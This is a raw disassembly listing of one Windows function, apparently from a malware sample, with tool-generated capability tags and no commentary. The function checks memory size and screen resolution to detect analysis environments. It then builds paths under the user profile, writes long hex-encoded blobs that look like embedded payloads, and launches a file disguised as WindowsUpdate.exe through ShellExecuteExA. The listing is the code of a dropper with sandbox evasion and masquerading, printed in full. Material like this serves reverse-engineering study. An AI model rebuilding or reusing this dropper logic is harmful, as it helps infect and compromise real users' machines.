Function at 0x14000efb0
Capabilities:
Create process on windows
Get memory capacity
Query environment variable

Disassembly:
jmp 0x14000efb0
push rbp
push rdi
sub rsp, 0x7d8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x15e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
lea rcx, [0x140176028]
call fcn.1400040cf
mov ecx, 0x19
call fcn.14000151e
add eax, 0x49
mov ecx, eax
call fcn.140002748
add eax, 0x35
mov ecx, eax
call fcn.140001d0c
add eax, 0x60
mov ecx, eax
call fcn.140004377
mov dword [rbp + 0x10], 0x40
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
movabs rax, 0x1b5800000
cmp qword [rbp + 0x18], rax
jae 0x14000f02c
xor ecx, ecx
call fcn.1400013ca
mov ecx, 0x19
call fcn.14000151e
add eax, 0x49
mov ecx, eax
call fcn.140002748
add eax, 0x35
mov ecx, eax
call fcn.140001d0c
add eax, 0x60
mov ecx, eax
call fcn.140004377
mov edx, 0x60
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetricsForDpi]
cmp eax, 0x5a0
jge 0x14000f06f
xor ecx, ecx
call fcn.1400013ca
mov ecx, 0x19
call fcn.14000151e
add eax, 0x49
mov ecx, eax
call fcn.140002748
add eax, 0x35
mov ecx, eax
call fcn.140001d0c
add eax, 0x60
mov ecx, eax
call fcn.140004377
lea rax, [rbp + 0x70]
mov rdi, rax
xor eax, eax
mov ecx, pe_nt_image_headers64
rep stosb byte [rdi], al
mov r8d, pe_nt_image_headers64
lea rdx, [rbp + 0x70]
lea rcx, str.USERPROFILE
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea rcx, [rbp + 0x70]
call fcn.140002626
test rax, rax
je 0x14000f0de
lea rdx, str.Links
lea rcx, [rbp + 0x70]
call fcn.140002adb
jmp 0x14000f0ee
lea rdx, str.C:UsersPublicLinks
lea rcx, [rbp + 0x70]
call fcn.140002adb
mov ecx, 0x19
call fcn.14000151e
add eax, 0x49
mov ecx, eax
call fcn.140002748
add eax, 0x35
mov ecx, eax
call fcn.140001d0c
add eax, 0x60
mov ecx, eax
call fcn.140004377
lea rax, [rbp + 0x190]
mov rdi, rax
xor eax, eax
mov ecx, pe_nt_image_headers64
rep stosb byte [rdi], al
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x190]
call fcn.140002adb
lea rdx, [0x1400df230]
lea rcx, [rbp + 0x190]
call fcn.140002adb
lea rdx, [rbp + 0x190]
lea rcx, str.31314d6e6ec3386858af635f743f7232526534423933263c13420127184c47425e431d0d363338686e296354743472325265324772634a416b6c72aa79633625bbef3f3f597638685a6663527420721f506479171e0e327f0e1e1e345610445d43612e013d573859686e6354743472325265324772635b516b6f3e577962ea99379bb66e78573868526e655460345f30532e622b1f1b6434070e10030d0d5b541e553f012e5738462e6e63547434723252653247726358516b65e0577961ba299acea36e78573868526e655460345f30532e622b1f1b64220c0218230d0667505446620a2b384f685a436a54743472325265324772634a517f6c71545a63343308c0b2af195719685a6e6b54723466327f67330c220f2729451f143b0017471d55432219595719745a6e63547434723252653247726c4a5119d9715772a3477a73bc4d4f595738605a6863407419703319355e2a0a4d3936050505231c101b56435e3a6e594eb3685a6e6354743472325265324763634a403b6c71501bcf877d22316c6e595730685c6e77545936737902095f3f5c522f3c0e0405781c0e515a451e291c3620386848126354743472325265324772634a446b6c5180796332ee00e47eb7597638685a6663527420721f50647917010f2f2345001c2f57175a575c442e013d784b043f1c3c7b10461d455265220172634a516b6c715779633432312d4d6e5a6638685a9a32e710e272135265324f72654a456b4173563233585f491f39003c3a4d0b350a4c30065b05325263814772634a516b6c71577963343220314d2eb75738613e063e54b034533252653a4774635e51466e701c29105857431f621d35324a375a6e60c7743472325265324772634a516b6771577b2d343231defa74c84938495a6e635c74327226524830463933263c13422c241c134d666e45230b2d39572b016e6354743472325265324772634a516b6c625779661432313017028bf3e7687b6e63547c34743246651f4573281a5168938e5779635beafcc207c04581f112c46758e301adcd3e69f8987c9c00e7c14dc7cd292c75fa1e0ce10e34c0ebb671514d7e5b5915c3800cd00a507fedd5f5e5431a33e2a89ad5479c93c7696c9588d47e0a54e81ff4a50285c7b8bdb4e82a9c89a6b68c1842ca8b883f93e328a4b6e5c15c43bb9ffdb9657ab911006d6270c61f2a399fe4cb9069d6a0ae76f274e2357e3180195414f248b78abe110dc48900cdd5f5c25f8b490d80399cacbeddda841fe692d731f60aab39a7ffbd7326a43b1b7cbf9b95edf18f7f0bb4a9d6a7b76913487a578618c24c8d13bbe664419f3286b5676ee1f377bc4476bd6e7b77fe3b2e61167e915d96892c701ebdb1fc69e8741a4358b97e4fe477b8c18369df268feb462f595809b0c2c30579e94e6f488f97ddd6c88246ee963fc566c9d85bf1ecff8b54e6a32ad275a1465faf42a153323e5e6ad30a5596958f9e491ccc93c73a15e1ce2492fe4e93dce14995b1e8825ff78ea446d2a4d138058602da7d377bdb58aa719d08d2a54e3f894639fd3e131df64c9e14cd7b7086709a1c09f11f78c5238c07b02fe61bd63920b2f2b9f86b688d9d6cbca2fb22519c46a80c980174338501ae35c5747f0002701751ea6d3f89612bc4d56fe5246342f70fa288f7a721811e685264cad4b512b178a033d2ae2faeb3932fab55460165f776c90a89eef918a8389a18398fa3d684fe3ab349f93fcd2d255937308c06860371a1c6e67c6b7d0ceb27a872325265324772634a516b6c71577963343231314d6e595738685a6e6354743472325265324772634a516b6c71577963343231314d6e595738685a6e6354743472325265324772634a516b6c71577963343231314d6e595738685a6e6354743472325265324772634a516b6c71577963343231314d6e595738685a6e6354743472325265324772634a516b6c71577963343231314d6e595738685a6e6354743472325265324772634a516b6c71577963343231314d6e595738685a6e6354743472325265324772634a516b6c71577963343231314d6e595738685a6e6354743472325265324772634a516b6c71577963343231314d6e595738685a6e635474347332f24d3343d043263c13420127184c47425e431d0d363339605a7e635477c972325072b89900324a706b6c715f796534263532063e5954c7975a6e622bb03f874be63d172427d68cae96235fcf3f9d9f45e3e78e617c818a1451892e289039af5581b3dfde2702c1d69dd59f536e742cd793b3fedb8ec7a8855dadd7c335af8333aae9479f824e6b3804bec1bd5dc845764993b6635340fdd7333f86a18dd5bb91d5430db0e12465ff847b26b0b6b04f2b0e052189a536ab9058d58b3aef85da7cdc7e19a35d7af09b7df411b477279ba7f7d7d488412a220ad33b6a15eef685b7f4011dff8e1787f9710ac654d7bf8cebb05e7aed6ed591c64b79c48bf3ff8ec9aa89dbac8eaaa9a5b087842b0f155dce45d6b5b7bb53e03edff2244077219a8045b06c1e0d5d26be6b92060653bd72c1fe01274d5abe94fd32f3a204981e160d9eaf397ce8fe4ffd5cac5216b8ce1496383d7eeefc7078bd71381100c072a76d107226f24b284f692cfce227760ac1a6672fa77903c3d1f3e340f3da6e5e203d3e53034ddf04fe4c384d45c44080349f916277355465f03c9e309c280ee412b4d1c4140ed54601488f01893993de336cf96d28fc5ec779c8fa82fa45c02b1d211a5a687c4f986dbe15908d8f6437a1eea64d4810ff4522246464ea06b6fe7fa2ba003ccde465601ac97744bea24fcdeeababb0e281fa797af8cc164bb168c84802618c8289aa89ef4f1bb14348705b0d
call fcn.140003e7c
test eax, eax
je 0x14000f1a5
lea rax, [rbp + 0x2b0]
mov rdi, rax
xor eax, eax
mov ecx, 0x70
rep stosb byte [rdi], al
mov dword [rbp + 0x2b0], 0x70
lea rax, [rbp + 0x190]
mov qword [rbp + 0x2c8], rax
mov dword [rbp + 0x2e0], 5
lea rcx, [rbp + 0x2b0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
mov ecx, 0x19
call fcn.14000151e
add eax, 0x49
mov ecx, eax
call fcn.140002748
add eax, 0x35
mov ecx, eax
call fcn.140001d0c
add eax, 0x60
mov ecx, eax
call fcn.140004377
lea rax, [rbp + 0x340]
mov rdi, rax
xor eax, eax
mov ecx, pe_nt_image_headers64
rep stosb byte [rdi], al
lea rax, [rbp + 0x460]
mov rdi, rax
xor eax, eax
mov ecx, pe_nt_image_headers64
rep stosb byte [rdi], al
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x340]
call fcn.140002adb
lea rdx, str.WindowsUpdate.exe
lea rcx, [rbp + 0x340]
call fcn.140002adb
lea rdx, str.WindowsUpdate.jpg
lea rcx, [rbp + 0x460]
call fcn.140002adb
mov ecx, 0x19
call fcn.14000151e
add eax, 0x49
mov ecx, eax
call fcn.140002748
add eax, 0x35
mov ecx, eax
call fcn.140001d0c
add eax, 0x60
mov ecx, eax
call fcn.140004377
lea rcx, [rbp + 0x340]
call fcn.1400027d4
mov ecx, 0x19
call fcn.14000151e
add eax, 0x49
mov ecx, eax
call fcn.140002748
add eax, 0x35
mov ecx, eax
call fcn.140001d0c
add eax, 0x60
mov ecx, eax
call fcn.140004377
lea rdx, [rbp + 0x460]
lea rcx, str.54743472325265324772634a516b6c71577963343231314d6e595738685a6e6354743472325265324772634a516b6c71577963343231314d6e595738685a6e6354743472325265324772634a516b6c71577963343231314d6e595738685a6e6354743472325265324772634a516b6c71577963343231314d6e595738685a6e6354743472325265324772634a516b6c71577963343231314d6e595738685a6e6354743472325265324772634a516b6c71577963343231314d6e595738685a6e6354743472325265324772634a516b6c71577963343231314d6e595738685a6e6354743472325265324772634a516b6c71577963343231314d6e595738685a6e6354743472325265324772634a516b6c71577963343231314d6e595738685a6e6354743472325265324772634a516b6c71577963343231314d6e595738685a6e6354743472325265324772634a516b6c71577963343231314d6e595738685a6e6354743472325265324772634a516b6c71577963343231314d6e595738685a6e6354743472325265324772634a516b6c71577963343231314d6e595738cd3acb53f17c9092325265224773934af9dbc4d9ffd9cbac9aa199c5c6d9ff40c032c603fc2c9c229a1acd72ef4acb7af943c451f5a9c1fc90a193c5ccd9f550ca62cc7bf58c95aa93eac4424772630e516a8c71f349c71c96119555ca59f440cb2acd3bf6fc96f23252652e4773a34a516bc111fa29ce749f019c6dc349fa38c4aac283f8a498b29ee2c992ebe2cfcafd1bc011fb29cf749e019d6dc249fb38c3aac583ffa49fb299e2ce92ece2c8cafa1bc711fc29c87499019a6dc549fc38c2aac483fea49eb298e2cf92ede2c9cafb1bc611fd29c97498019b6dc449fd38c1aac783fda49db29be2cc92eee2cacaf81bc511fe29ca749b01986dc749fe38c0aac683fca49cb29ae2cd92efe2cbcaf91bc411ff29cb749a01996dc649ff38cfaac983f3a493b295e2c292e0e2c4caf61bcb11f029c4749501966dc949f038ceaac883f2a492b294e2c392e1e2c5caf71bca11f129c5749401976dc849f138cdaacb83f1a491b297e2c092e2e2c6caf41bc911f229c6749701946dcb49f238ccaaca83f0a490b296e2c192e3e2c7caf51bc811f329c7749601956dca49f338cbaacd83f7a497b291e2c692e4e2c0caf21bcf11f429c0749101926dcd49f438caaacc83f6a496b290e2c792e5e2c1caf31bce11f529c1749001936dcc49f538c9aacf83f5a495b293e2c492e6e2c2caf01bcd11f629c2749301906dcf49f638c8aace83f4a494b292e2c592e7e2c3caf11bcc11f729c3749201916dce49f738685a6fdb5475a4729da2cad2e8a2cc8afedbc3d1f8e9ccb49d419e2dc109f878c76acd6bf68c969a908ac7fae5cac1e2f3f3cef9f501c15c90699305cc61f510ca42cc6bf58c959a938ac4fae6cac2e2f0f3cdf9f601c25c93699005cf61f610c942cf6bf48c949a928ac5fae7cac3e2f1f3ccf9f701c35c92699105ce61f710c842ce6b547434f63253e5324772ccb2fe83c3a9f8b1cc8c9d999ed5c1d1f840c732c13bfb3c9b4a9d7aca2ae87acdb2ff83c2a9f9b1cd8c9c999fd5c0d1f940c632c03bfa3c9a4a9c7acb2ae97aceb2fc83c1a9fab1ce8c9f999cd5c3d1fa40c532c33bf93c994a9f7ac82aea7acfb2fd83c0a9fbb1cf8c9e999dd5c2d1fb40c432c23bf83c984a9e7ac92aeb7ac8b2fa83c7a9fcb1c88c99999ad5c5d1fc40c332c53bff3c9f4a997ace2aec7ac9b2fb83c6a9fdb1c98c98999bd5c4d1fd40c232c43bfe3c9e4a987acf2aed7acab2f883c5a9feb1ca8c9b9998d5c7d1fe40c132c73bfd3c9d4a9b7acc2aee7acbb2f983c4a9ffb1cb8c9a9999d5c6d1ff40c032c63bfc3c9c4a9a7acd2aef7ac4b2f683cba9f0b1c48c959996d5c9d1f040cf32c93bf33c934a957ac22ae07ac5b2f783caa9f1b1c58c949997d5c8d1f140ce32c83bf23c924a947ac32ae17ac6b2f483c9a9f2b1c68c979994d5cbd1f240cd32cb3bf13c914a977ac02ae27ac7b2f583c8a9577962443230414dc1f1f898c7c2c1f3fbfc9bf29d2aca42e81acc2afe33c321f831cc749d099e7dc171f818c742c173facc9ac29cfacb92edaac99afba3c6b1fdc1c98498999bedc4c1fda8c2d2c4e3fe0c9e02983acf52ed2ac91afb23c631fd41c90498199b6dc441fd28c252c463fd8c9d829bbaccd2eeaaca9af8a3c5b1fec1ca849b9998edc7c1fea8c1d2c7e3fd049d1a9b32cc6aee22ca02f82bc549fe49ca1c9b119855c749fe30c15ac69bfc849c9a9ab2cdeaefa2cb82f9abc4c9ffc9cb9c9a9199d5c6c9ffb0c0dac61bfc049c1a9a32cd6aef22cb02f92bc449ff49cb1c9a1191e5cef9f7a0c8caceebf40c941a9202c57ae732c372f15bcc59f759c32c9239914d6e595630685b0e6354749b8a9da2cadae892cc92febbc3b1f8c9c2bc93b190356e595718685b3e6354749ec298f2cfa2edf2c93afb0bc621fd39c90498119b5dc459fec8c1bac7b3fdb49dc29bf2cca2eef2ca3af80bc521fe39ca049b11985dc759ffc8c0bac6b3fcb49cc29af2cda2eff2cb3af90bc421ff39cb049a11995dc659f0c8cfbac9b3f3b493c295f2c2a2e0f2c43af60bcb21f039c4049511965dc959f1c8cebac8b3f2b492c294f2c3a2e1f2c53af70bca21f139c5049411975dc859f2c8cdbacbb3f1b491c297f2c0a2e2f2c63af40bc921f239c6049711945dcb59f3c8ccbacab3f0b490c296f2c1a2e3f2c73af50bc821f339c7049611955dca59f4c8cbbacdb3f7b497ca91e2c69ae4fac0caf213cf11f421c06491019265cd79f5d0cabaccbbf6b496ca90e2c79ae5d2c1d2f3ebce01f511c1549069931d6e595618685b2e63
call fcn.140003e7c
test eax, eax
je 0x14000f2af
lea rdx, [rbp + 0x340]
lea rcx, [rbp + 0x460]
call fcn.140002c7f
jmp 0x14000f2b3
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, reloc.OLEAUT32.dll_SysStringLen
call fcn.140003814
mov rax, rdi
lea rsp, [rbp + 0x7b8]
pop rdi
pop rbp
ret